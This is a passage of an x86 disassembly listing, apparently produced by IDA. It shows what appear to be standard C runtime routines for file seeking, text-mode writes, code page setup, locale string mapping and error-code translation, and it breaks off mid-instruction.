sub_41B989+12j ; sub_41B989+39j and dword_4694B8, 0 mov dword_4694B4, 9 loc_41BB77: ; CODE XREF: sub_41B989+ABj ; sub_41B989+C3j or eax, 0FFFFFFFFh loc_41BB7A: ; CODE XREF: sub_41B989+B7j ; sub_41B989+1DBj pop edi pop esi pop ebx leave retn sub_41B989 endp ; =============== S U B R O U T I N E ======================================= sub_41BB7F proc near ; CODE XREF: sub_416E3E+67p ; sub_417C37+CDp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] push ebx cmp eax, dword_46A8E0 push esi push edi jnb short loc_41BC01 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:46A7E0h[ecx*4] shl esi, 3 mov ecx, [edi] test byte ptr [ecx+esi+4], 1 jz short loc_41BC01 push eax call sub_41D4C6 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41BBC3 mov dword_4694B4, 9 jmp short loc_41BC12 ; --------------------------------------------------------------------------- loc_41BBC3: ; CODE XREF: sub_41BB7F+36j push [esp+0Ch+arg_8] push 0 push [esp+14h+arg_4] push eax call dword_4210AC mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_41BBE3 call dword_421088 jmp short loc_41BBE5 ; --------------------------------------------------------------------------- loc_41BBE3: ; CODE XREF: sub_41BB7F+5Aj xor eax, eax loc_41BBE5: ; CODE XREF: sub_41BB7F+62j test eax, eax jz short loc_41BBF2 push eax call sub_41C5D7 pop ecx jmp short loc_41BC12 ; --------------------------------------------------------------------------- loc_41BBF2: ; CODE XREF: sub_41BB7F+68j mov eax, [edi] and byte ptr [eax+esi+4], 0FDh lea eax, [eax+esi+4] mov eax, ebx jmp short loc_41BC15 ; --------------------------------------------------------------------------- loc_41BC01: ; CODE XREF: sub_41BB7F+Dj ; sub_41BB7F+2Aj and dword_4694B8, 0 mov dword_4694B4, 9 loc_41BC12: ; CODE XREF: sub_41BB7F+42j ; sub_41BB7F+71j or eax, 0FFFFFFFFh loc_41BC15: ; CODE XREF: sub_41BB7F+80j pop edi pop esi pop ebx retn sub_41BB7F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BC19 proc near ; CODE XREF: sub_416E3E+2Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+arg_0] xor ebx, ebx mov esi, [edi+10h] cmp [edi+4], ebx mov [ebp+var_C], esi jge short loc_41BC35 mov [edi+4], ebx loc_41BC35: ; CODE XREF: sub_41BC19+17j push 1 push ebx push esi call sub_41BB7F add esp, 0Ch cmp eax, ebx mov [ebp+var_4], eax jl short loc_41BCA3 mov edx, [edi+0Ch] test dx, 108h jnz short loc_41BC5A sub eax, [edi+4] jmp loc_41BD6C ; --------------------------------------------------------------------------- loc_41BC5A: ; CODE XREF: sub_41BC19+37j mov eax, [edi] mov ecx, [edi+8] mov ebx, eax sub ebx, ecx test dl, 3 mov [ebp+var_8], ebx jz short loc_41BC94 mov edx, esi mov ebx, esi sar edx, 5 and ebx, 1Fh mov edx, dword_46A7E0[edx*4] test byte ptr [edx+ebx*8+4], 80h jz short loc_41BCAB mov edx, ecx loc_41BC85: ; CODE XREF: sub_41BC19+79j cmp edx, eax jnb short loc_41BCAB cmp byte ptr [edx], 0Ah jnz short loc_41BC91 inc [ebp+var_8] loc_41BC91: ; CODE XREF: sub_41BC19+73j inc edx jmp short loc_41BC85 ; --------------------------------------------------------------------------- loc_41BC94: ; CODE XREF: sub_41BC19+50j test dl, 80h jnz short loc_41BCAB mov dword_4694B4, 16h loc_41BCA3: ; CODE XREF: sub_41BC19+2Dj or eax, 0FFFFFFFFh jmp loc_41BD6C ; --------------------------------------------------------------------------- loc_41BCAB: ; CODE XREF: sub_41BC19+68j ; sub_41BC19+6Ej ... cmp [ebp+var_4], 0 jnz short loc_41BCB9 mov eax, [ebp+var_8] jmp loc_41BD6C ; --------------------------------------------------------------------------- loc_41BCB9: ; CODE XREF: sub_41BC19+96j test byte ptr [edi+0Ch], 1 jz loc_41BD64 mov edx, [edi+4] test edx, edx jnz short loc_41BCD2 and [ebp+var_8], edx jmp loc_41BD64 ; --------------------------------------------------------------------------- loc_41BCD2: ; CODE XREF: sub_41BC19+AFj sub eax, ecx add eax, edx mov [ebp+arg_0], eax mov eax, esi sar eax, 5 and esi, 1Fh lea ebx, ds:46A7E0h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [esi+eax+4], 80h jz short loc_41BD5E push 2 push 0 push [ebp+var_C] call sub_41BB7F add esp, 0Ch cmp eax, [ebp+var_4] jnz short loc_41BD25 mov eax, [edi+8] mov ecx, [ebp+arg_0] add ecx, eax loc_41BD10: ; CODE XREF: sub_41BC19+104j cmp eax, ecx jnb short loc_41BD1F cmp byte ptr [eax], 0Ah jnz short loc_41BD1C inc [ebp+arg_0] loc_41BD1C: ; CODE XREF: sub_41BC19+FEj inc eax jmp short loc_41BD10 ; --------------------------------------------------------------------------- loc_41BD1F: ; CODE XREF: sub_41BC19+F9j test byte ptr [edi+0Dh], 20h jmp short loc_41BD59 ; --------------------------------------------------------------------------- loc_41BD25: ; CODE XREF: sub_41BC19+EDj push 0 push [ebp+var_4] push [ebp+var_C] call sub_41BB7F mov eax, 200h add esp, 0Ch cmp [ebp+arg_0], eax ja short loc_41BD4C mov ecx, [edi+0Ch] test cl, 8 jz short loc_41BD4C test ch, 4 jz short loc_41BD4F loc_41BD4C: ; CODE XREF: sub_41BC19+124j ; sub_41BC19+12Cj mov eax, [edi+18h] loc_41BD4F: ; CODE XREF: sub_41BC19+131j mov [ebp+arg_0], eax mov eax, [ebx] test byte ptr [esi+eax+4], 4 loc_41BD59: ; CODE XREF: sub_41BC19+10Aj jz short loc_41BD5E inc [ebp+arg_0] loc_41BD5E: ; CODE XREF: sub_41BC19+D9j ; sub_41BC19:loc_41BD59j mov eax, [ebp+arg_0] sub [ebp+var_4], eax loc_41BD64: ; CODE XREF: sub_41BC19+A4j ; sub_41BC19+B4j mov eax, [ebp+var_8] mov ecx, [ebp+var_4] add eax, ecx loc_41BD6C: ; CODE XREF: sub_41BC19+3Cj ; sub_41BC19+8Dj ... pop edi pop esi pop ebx leave retn sub_41BC19 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BD71 proc near ; CODE XREF: sub_417193+A3p ; sub_41AC71+A5p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421878 push offset sub_41CE08 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor edi, edi cmp dword_46953C, edi jnz short loc_41BDE7 push edi push edi push 1 pop ebx push ebx push offset dword_421870 mov esi, 100h push esi push edi call dword_421190 test eax, eax jz short loc_41BDC5 mov dword_46953C, ebx jmp short loc_41BDE7 ; --------------------------------------------------------------------------- loc_41BDC5: ; CODE XREF: sub_41BD71+4Aj push edi push edi push ebx push offset dword_438FF4 push esi push edi call dword_42118C test eax, eax jz loc_41BEFF mov dword_46953C, 2 loc_41BDE7: ; CODE XREF: sub_41BD71+2Ej ; sub_41BD71+52j cmp [ebp+arg_C], edi jle short loc_41BDFC push [ebp+arg_C] push [ebp+arg_8] call sub_41BF95 pop ecx pop ecx mov [ebp+arg_C], eax loc_41BDFC: ; CODE XREF: sub_41BD71+79j mov eax, dword_46953C cmp eax, 2 jnz short loc_41BE23 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_42118C jmp loc_41BF01 ; --------------------------------------------------------------------------- loc_41BE23: ; CODE XREF: sub_41BD71+93j cmp eax, 1 jnz loc_41BEFF cmp [ebp+arg_18], edi jnz short loc_41BE39 mov eax, dword_469558 mov [ebp+arg_18], eax loc_41BE39: ; CODE XREF: sub_41BD71+BEj push edi push edi push [ebp+arg_C] push [ebp+arg_8] mov eax, [ebp+arg_1C] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_18] call dword_421064 mov ebx, eax mov [ebp+var_1C], ebx cmp ebx, edi jz loc_41BEFF mov [ebp+var_4], edi lea eax, [ebx+ebx] add eax, 3 and al, 0FCh call sub_415D70 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_41BE94 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_24], edi or [ebp+var_4], 0FFFFFFFFh mov ebx, [ebp+var_1C] loc_41BE94: ; CODE XREF: sub_41BD71+10Ej cmp [ebp+var_24], edi jz short loc_41BEFF push ebx push [ebp+var_24] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] call dword_421064 test eax, eax jz short loc_41BEFF push edi push edi push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_421190 mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz short loc_41BEFF test byte ptr [ebp+arg_4+1], 4 jz short loc_41BF13 cmp [ebp+arg_14], edi jz loc_41BF8E cmp esi, [ebp+arg_14] jg short loc_41BEFF push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_421190 test eax, eax jnz loc_41BF8E loc_41BEFF: ; CODE XREF: sub_41BD71+66j ; sub_41BD71+B5j ... xor eax, eax loc_41BF01: ; CODE XREF: sub_41BD71+ADj ; sub_41BD71+21Fj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41BF13: ; CODE XREF: sub_41BD71+160j mov [ebp+var_4], 1 lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_415D70 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_20], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_41BF47 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_41BF47: ; CODE XREF: sub_41BD71+1C2j cmp ebx, edi jz short loc_41BEFF push esi push ebx push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_421190 test eax, eax jz short loc_41BEFF cmp [ebp+arg_14], edi push edi push edi jnz short loc_41BF6E push edi push edi jmp short loc_41BF74 ; --------------------------------------------------------------------------- loc_41BF6E: ; CODE XREF: sub_41BD71+1F7j push [ebp+arg_14] push [ebp+arg_10] loc_41BF74: ; CODE XREF: sub_41BD71+1FBj push esi push ebx push 220h push [ebp+arg_18] call dword_421138 mov esi, eax cmp esi, edi jz loc_41BEFF loc_41BF8E: ; CODE XREF: sub_41BD71+165j ; sub_41BD71+188j mov eax, esi jmp loc_41BF01 sub_41BD71 endp ; =============== S U B R O U T I N E ======================================= sub_41BF95 proc near ; CODE XREF: sub_41BD71+81p ; sub_41F845+7Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_41BFB2 loc_41BFA5: ; CODE XREF: sub_41BF95+1Bj cmp byte ptr [eax], 0 jz short loc_41BFB2 inc eax mov esi, ecx dec ecx test esi, esi jnz short loc_41BFA5 loc_41BFB2: ; CODE XREF: sub_41BF95+Ej ; sub_41BF95+13j cmp byte ptr [eax], 0 pop esi jnz short loc_41BFBD sub eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_41BFBD: ; CODE XREF: sub_41BF95+21j mov eax, edx retn sub_41BF95 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BFC0 proc near ; CODE XREF: sub_41C384+Bp var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push [ebp+arg_0] call sub_41C159 mov esi, eax pop ecx cmp esi, dword_46A8E4 mov [ebp+arg_0], esi jz loc_41C14D xor ebx, ebx cmp esi, ebx jz loc_41C143 xor edx, edx mov eax, offset dword_438110 loc_41BFF4: ; CODE XREF: sub_41BFC0+41j cmp [eax], esi jz short loc_41C06A add eax, 30h inc edx cmp eax, offset dword_438200 jl short loc_41BFF4 lea eax, [ebp+var_18] push eax push esi call dword_421194 cmp eax, 1 jnz loc_41C13B push 40h xor eax, eax pop ecx mov edi, offset byte_46AA00 cmp [ebp+var_18], 1 mov dword_46A8E4, esi rep stosd stosb mov dword_46AB04, ebx jbe loc_41C129 cmp [ebp+var_12], 0 jz loc_41C0FF lea ecx, [ebp+var_11] loc_41C047: ; CODE XREF: sub_41BFC0+139j mov dl, [ecx] test dl, dl jz loc_41C0FF movzx eax, byte ptr [ecx-1] movzx edx, dl loc_41C058: ; CODE XREF: sub_41BFC0+A8j cmp eax, edx ja loc_41C0F3 or byte_46AA01[eax], 4 inc eax jmp short loc_41C058 ; --------------------------------------------------------------------------- loc_41C06A: ; CODE XREF: sub_41BFC0+36j push 40h xor eax, eax pop ecx mov edi, offset byte_46AA00 rep stosd lea esi, [edx+edx*2] mov [ebp+var_4], ebx shl esi, 4 stosb lea ebx, dword_438120[esi] loc_41C086: ; CODE XREF: sub_41BFC0+103j cmp byte ptr [ebx], 0 mov ecx, ebx jz short loc_41C0B9 loc_41C08D: ; CODE XREF: sub_41BFC0+F7j mov dl, [ecx+1] test dl, dl jz short loc_41C0B9 movzx eax, byte ptr [ecx] movzx edi, dl cmp eax, edi ja short loc_41C0B2 mov edx, [ebp+var_4] mov dl, byte_438108[edx] loc_41C0A7: ; CODE XREF: sub_41BFC0+F0j or byte_46AA01[eax], dl inc eax cmp eax, edi jbe short loc_41C0A7 loc_41C0B2: ; CODE XREF: sub_41BFC0+DCj inc ecx inc ecx cmp byte ptr [ecx], 0 jnz short loc_41C08D loc_41C0B9: ; CODE XREF: sub_41BFC0+CBj ; sub_41BFC0+D2j inc [ebp+var_4] add ebx, 8 cmp [ebp+var_4], 4 jb short loc_41C086 mov eax, [ebp+arg_0] mov dword_46A8FC, 1 push eax mov dword_46A8E4, eax call sub_41C1A3 lea esi, dword_438114[esi] mov edi, offset dword_46A8F0 movsd movsd pop ecx mov dword_46AB04, eax movsd jmp short loc_41C148 ; --------------------------------------------------------------------------- loc_41C0F3: ; CODE XREF: sub_41BFC0+9Aj inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_41C047 loc_41C0FF: ; CODE XREF: sub_41BFC0+7Ej ; sub_41BFC0+8Bj push 1 pop eax loc_41C102: ; CODE XREF: sub_41BFC0+14Fj or byte_46AA01[eax], 8 inc eax cmp eax, 0FFh jb short loc_41C102 push esi call sub_41C1A3 pop ecx mov dword_46AB04, eax mov dword_46A8FC, 1 jmp short loc_41C12F ; --------------------------------------------------------------------------- loc_41C129: ; CODE XREF: sub_41BFC0+74j mov dword_46A8FC, ebx loc_41C12F: ; CODE XREF: sub_41BFC0+167j xor eax, eax mov edi, offset dword_46A8F0 stosd stosd stosd jmp short loc_41C148 ; --------------------------------------------------------------------------- loc_41C13B: ; CODE XREF: sub_41BFC0+51j cmp dword_469560, ebx jz short loc_41C151 loc_41C143: ; CODE XREF: sub_41BFC0+27j call sub_41C1D6 loc_41C148: ; CODE XREF: sub_41BFC0+131j ; sub_41BFC0+179j call sub_41C1FF loc_41C14D: ; CODE XREF: sub_41BFC0+1Dj xor eax, eax jmp short loc_41C154 ; --------------------------------------------------------------------------- loc_41C151: ; CODE XREF: sub_41BFC0+181j or eax, 0FFFFFFFFh loc_41C154: ; CODE XREF: sub_41BFC0+18Fj pop edi pop esi pop ebx leave retn sub_41BFC0 endp ; =============== S U B R O U T I N E ======================================= sub_41C159 proc near ; CODE XREF: sub_41BFC0+Cp arg_0 = dword ptr 4 mov eax, [esp+arg_0] and dword_469560, 0 cmp eax, 0FFFFFFFEh jnz short loc_41C179 mov dword_469560, 1 jmp dword_42119C ; --------------------------------------------------------------------------- loc_41C179: ; CODE XREF: sub_41C159+Ej cmp eax, 0FFFFFFFDh jnz short loc_41C18E mov dword_469560, 1 jmp dword_421198 ; --------------------------------------------------------------------------- loc_41C18E: ; CODE XREF: sub_41C159+23j cmp eax, 0FFFFFFFCh jnz short locret_41C1A2 mov eax, dword_469558 mov dword_469560, 1 locret_41C1A2: ; CODE XREF: sub_41C159+38j retn sub_41C159 endp ; =============== S U B R O U T I N E ======================================= sub_41C1A3 proc near ; CODE XREF: sub_41BFC0+118p ; sub_41BFC0+152p arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub eax, 3A4h jz short loc_41C1D0 sub eax, 4 jz short loc_41C1CA sub eax, 0Dh jz short loc_41C1C4 dec eax jz short loc_41C1BE xor eax, eax retn ; --------------------------------------------------------------------------- loc_41C1BE: ; CODE XREF: sub_41C1A3+16j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_41C1C4: ; CODE XREF: sub_41C1A3+13j mov eax, 412h retn ; --------------------------------------------------------------------------- loc_41C1CA: ; CODE XREF: sub_41C1A3+Ej mov eax, 804h retn ; --------------------------------------------------------------------------- loc_41C1D0: ; CODE XREF: sub_41C1A3+9j mov eax, 411h retn sub_41C1A3 endp ; =============== S U B R O U T I N E ======================================= sub_41C1D6 proc near ; CODE XREF: sub_41BFC0:loc_41C143p push edi push 40h pop ecx xor eax, eax mov edi, offset byte_46AA00 rep stosd stosb xor eax, eax mov edi, offset dword_46A8F0 mov dword_46A8E4, eax mov dword_46A8FC, eax mov dword_46AB04, eax stosd stosd stosd pop edi retn sub_41C1D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C1FF proc near ; CODE XREF: sub_41BFC0:loc_41C148p var_514 = byte ptr -514h var_314 = byte ptr -314h var_214 = byte ptr -214h var_114 = byte ptr -114h var_14 = byte ptr -14h var_E = byte ptr -0Eh var_D = byte ptr -0Dh push ebp mov ebp, esp sub esp, 514h lea eax, [ebp+var_14] push esi push eax push dword_46A8E4 call dword_421194 cmp eax, 1 jnz loc_41C338 xor eax, eax mov esi, 100h loc_41C229: ; CODE XREF: sub_41C1FF+34j mov [ebp+eax+var_114], al inc eax cmp eax, esi jb short loc_41C229 mov al, [ebp+var_E] mov [ebp+var_114], 20h test al, al jz short loc_41C27A push ebx push edi lea edx, [ebp+var_D] loc_41C248: ; CODE XREF: sub_41C1FF+77j movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_41C26F sub ecx, eax lea edi, [ebp+eax+var_114] inc ecx mov eax, 20202020h mov ebx, ecx shr ecx, 2 rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_41C26F: ; CODE XREF: sub_41C1FF+51j inc edx inc edx mov al, [edx-1] test al, al jnz short loc_41C248 pop edi pop ebx loc_41C27A: ; CODE XREF: sub_41C1FF+42j push 0 lea eax, [ebp+var_514] push dword_46AB04 push dword_46A8E4 push eax lea eax, [ebp+var_114] push esi push eax push 1 call sub_41D1F7 push 0 lea eax, [ebp+var_214] push dword_46A8E4 push esi push eax lea eax, [ebp+var_114] push esi push eax push esi push dword_46AB04 call sub_41BD71 push 0 lea eax, [ebp+var_314] push dword_46A8E4 push esi push eax lea eax, [ebp+var_114] push esi push eax push 200h push dword_46AB04 call sub_41BD71 add esp, 5Ch xor eax, eax lea ecx, [ebp+var_514] loc_41C2F5: ; CODE XREF: sub_41C1FF+135j mov dx, [ecx] test dl, 1 jz short loc_41C313 or byte_46AA01[eax], 10h mov dl, [ebp+eax+var_214] loc_41C30B: ; CODE XREF: sub_41C1FF+127j mov byte_46A900[eax], dl jmp short loc_41C32F ; --------------------------------------------------------------------------- loc_41C313: ; CODE XREF: sub_41C1FF+FCj test dl, 2 jz short loc_41C328 or byte_46AA01[eax], 20h mov dl, [ebp+eax+var_314] jmp short loc_41C30B ; --------------------------------------------------------------------------- loc_41C328: ; CODE XREF: sub_41C1FF+117j and byte_46A900[eax], 0 loc_41C32F: ; CODE XREF: sub_41C1FF+112j inc eax inc ecx inc ecx cmp eax, esi jb short loc_41C2F5 jmp short loc_41C381 ; --------------------------------------------------------------------------- loc_41C338: ; CODE XREF: sub_41C1FF+1Dj xor eax, eax mov esi, 100h loc_41C33F: ; CODE XREF: sub_41C1FF+180j cmp eax, 41h jb short loc_41C35D cmp eax, 5Ah ja short loc_41C35D or byte_46AA01[eax], 10h mov cl, al add cl, 20h loc_41C355: ; CODE XREF: sub_41C1FF+174j mov byte_46A900[eax], cl jmp short loc_41C37C ; --------------------------------------------------------------------------- loc_41C35D: ; CODE XREF: sub_41C1FF+143j ; sub_41C1FF+148j cmp eax, 61h jb short loc_41C375 cmp eax, 7Ah ja short loc_41C375 or byte_46AA01[eax], 20h mov cl, al sub cl, 20h jmp short loc_41C355 ; --------------------------------------------------------------------------- loc_41C375: ; CODE XREF: sub_41C1FF+161j ; sub_41C1FF+166j and byte_46A900[eax], 0 loc_41C37C: ; CODE XREF: sub_41C1FF+15Cj inc eax cmp eax, esi jb short loc_41C33F loc_41C381: ; CODE XREF: sub_41C1FF+137j pop esi leave retn sub_41C1FF endp ; =============== S U B R O U T I N E ======================================= sub_41C384 proc near ; CODE XREF: sub_41C7C2+9p ; sub_41C81A+Dp ... cmp dword_46AB2C, 0 jnz short locret_41C39F push 0FFFFFFFDh call sub_41BFC0 pop ecx mov dword_46AB2C, 1 locret_41C39F: ; CODE XREF: sub_41C384+7j retn sub_41C384 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C3A0 proc near ; CODE XREF: sub_417348+2Bp ; sub_417348+A6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp dword_46A8FC, 0 push edi mov edi, [ebp+arg_0] mov [ebp+arg_0], edi jnz short loc_41C3C4 push [ebp+arg_8] push [ebp+arg_4] push edi call sub_416D40 add esp, 0Ch jmp short loc_41C427 ; --------------------------------------------------------------------------- loc_41C3C4: ; CODE XREF: sub_41C3A0+11j mov edx, [ebp+arg_8] push esi test edx, edx jz short loc_41C409 mov ecx, [ebp+arg_4] loc_41C3CF: ; CODE XREF: sub_41C3A0+5Bj mov al, [ecx] dec edx movzx esi, al test byte_46AA01[esi], 4 mov [edi], al jz short loc_41C3F3 inc edi inc ecx test edx, edx jz short loc_41C3FF mov al, [ecx] dec edx mov [edi], al inc edi inc ecx test al, al jz short loc_41C405 jmp short loc_41C3F9 ; --------------------------------------------------------------------------- loc_41C3F3: ; CODE XREF: sub_41C3A0+3Ej inc edi inc ecx test al, al jz short loc_41C409 loc_41C3F9: ; CODE XREF: sub_41C3A0+51j test edx, edx jnz short loc_41C3CF jmp short loc_41C409 ; --------------------------------------------------------------------------- loc_41C3FF: ; CODE XREF: sub_41C3A0+44j and byte ptr [edi-1], 0 jmp short loc_41C409 ; --------------------------------------------------------------------------- loc_41C405: ; CODE XREF: sub_41C3A0+4Fj and byte ptr [edi-2], 0 loc_41C409: ; CODE XREF: sub_41C3A0+2Aj ; sub_41C3A0+57j ... mov eax, edx dec edx test eax, eax pop esi jz short loc_41C424 lea ecx, [edx+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb loc_41C424: ; CODE XREF: sub_41C3A0+6Fj mov eax, [ebp+arg_0] loc_41C427: ; CODE XREF: sub_41C3A0+22j pop edi pop ebp retn sub_41C3A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C42A proc near ; CODE XREF: sub_4175FF+A2p ; sub_417C37+95p ... var_414 = byte ptr -414h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 414h mov ecx, [ebp+arg_0] push ebx cmp ecx, dword_46A8E0 push esi push edi jnb loc_41C5BE mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea ebx, ds:46A7E0h[eax*4] shl esi, 3 mov eax, [ebx] mov al, [eax+esi+4] test al, 1 jz loc_41C5BE xor edi, edi cmp [ebp+arg_8], edi mov [ebp+var_8], edi mov [ebp+var_10], edi jnz short loc_41C47B loc_41C474: ; CODE XREF: sub_41C42A+177j xor eax, eax jmp loc_41C5D2 ; --------------------------------------------------------------------------- loc_41C47B: ; CODE XREF: sub_41C42A+48j test al, 20h jz short loc_41C48B push 2 push edi push ecx call sub_41BB7F add esp, 0Ch loc_41C48B: ; CODE XREF: sub_41C42A+53j mov eax, [ebx] add eax, esi test byte ptr [eax+4], 80h jz loc_41C55A mov eax, [ebp+arg_4] cmp [ebp+arg_8], edi mov [ebp+var_4], eax mov [ebp+arg_0], edi jbe loc_41C592 loc_41C4AB: ; CODE XREF: sub_41C42A+F5j lea eax, [ebp+var_414] loc_41C4B1: ; CODE XREF: sub_41C42A+B9j mov ecx, [ebp+var_4] sub ecx, [ebp+arg_4] cmp ecx, [ebp+arg_8] jnb short loc_41C4E5 mov ecx, [ebp+var_4] inc [ebp+var_4] mov cl, [ecx] cmp cl, 0Ah jnz short loc_41C4D0 inc [ebp+var_10] mov byte ptr [eax], 0Dh inc eax loc_41C4D0: ; CODE XREF: sub_41C42A+9Dj mov [eax], cl inc eax mov ecx, eax lea edx, [ebp+var_414] sub ecx, edx cmp ecx, 400h jl short loc_41C4B1 loc_41C4E5: ; CODE XREF: sub_41C42A+90j mov edi, eax lea eax, [ebp+var_414] sub edi, eax lea eax, [ebp+var_C] push 0 push eax lea eax, [ebp+var_414] push edi push eax mov eax, [ebx] push dword ptr [eax+esi] call dword_421070 test eax, eax jz short loc_41C54F mov eax, [ebp+var_C] add [ebp+var_8], eax cmp eax, edi jl short loc_41C521 mov eax, [ebp+var_4] sub eax, [ebp+arg_4] cmp eax, [ebp+arg_8] jb short loc_41C4AB loc_41C521: ; CODE XREF: sub_41C42A+EAj ; sub_41C42A+12Ej xor edi, edi loc_41C523: ; CODE XREF: sub_41C42A+150j ; sub_41C42A+15Bj mov eax, [ebp+var_8] cmp eax, edi jnz loc_41C5B9 cmp [ebp+arg_0], edi jz short loc_41C592 push 5 pop eax cmp [ebp+arg_0], eax jnz short loc_41C587 mov dword_4694B4, 9 mov dword_4694B8, eax jmp loc_41C5CF ; --------------------------------------------------------------------------- loc_41C54F: ; CODE XREF: sub_41C42A+E0j call dword_421088 mov [ebp+arg_0], eax jmp short loc_41C521 ; --------------------------------------------------------------------------- loc_41C55A: ; CODE XREF: sub_41C42A+69j lea ecx, [ebp+var_C] push edi push ecx push [ebp+arg_8] push [ebp+arg_4] push dword ptr [eax] call dword_421070 test eax, eax jz short loc_41C57C mov eax, [ebp+var_C] mov [ebp+arg_0], edi mov [ebp+var_8], eax jmp short loc_41C523 ; --------------------------------------------------------------------------- loc_41C57C: ; CODE XREF: sub_41C42A+145j call dword_421088 mov [ebp+arg_0], eax jmp short loc_41C523 ; --------------------------------------------------------------------------- loc_41C587: ; CODE XREF: sub_41C42A+10Fj push [ebp+arg_0] call sub_41C5D7 pop ecx jmp short loc_41C5CF ; --------------------------------------------------------------------------- loc_41C592: ; CODE XREF: sub_41C42A+7Bj ; sub_41C42A+107j mov eax, [ebx] test byte ptr [eax+esi+4], 40h jz short loc_41C5A7 mov eax, [ebp+arg_4] cmp byte ptr [eax], 1Ah jz loc_41C474 loc_41C5A7: ; CODE XREF: sub_41C42A+16Fj mov dword_4694B4, 1Ch mov dword_4694B8, edi jmp short loc_41C5CF ; --------------------------------------------------------------------------- loc_41C5B9: ; CODE XREF: sub_41C42A+FEj sub eax, [ebp+var_10] jmp short loc_41C5D2 ; --------------------------------------------------------------------------- loc_41C5BE: ; CODE XREF: sub_41C42A+15j ; sub_41C42A+37j and dword_4694B8, 0 mov dword_4694B4, 9 loc_41C5CF: ; CODE XREF: sub_41C42A+120j ; sub_41C42A+166j ... or eax, 0FFFFFFFFh loc_41C5D2: ; CODE XREF: sub_41C42A+4Cj ; sub_41C42A+192j pop edi pop esi pop ebx leave retn sub_41C42A endp ; =============== S U B R O U T I N E ======================================= sub_41C5D7 proc near ; CODE XREF: sub_417709+16p ; sub_4178FC+1Dp ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] xor edx, edx mov dword_4694B8, ecx mov eax, offset dword_438200 loc_41C5E8: ; CODE XREF: sub_41C5D7+1Ej cmp ecx, [eax] jz short loc_41C60C add eax, 8 inc edx cmp eax, offset dword_438368 jl short loc_41C5E8 cmp ecx, 13h jb short loc_41C619 cmp ecx, 24h ja short loc_41C619 mov dword_4694B4, 0Dh retn ; --------------------------------------------------------------------------- loc_41C60C: ; CODE XREF: sub_41C5D7+13j mov eax, dword_438204[edx*8] mov dword_4694B4, eax retn ; --------------------------------------------------------------------------- loc_41C619: ; CODE XREF: sub_41C5D7+23j ; sub_41C5D7+28j cmp ecx, 0BCh jb short loc_41C633 cmp ecx, 0CAh mov dword_4694B4, 8 jbe short locret_41C63D loc_41C633: ; CODE XREF: sub_41C5D7+48j mov 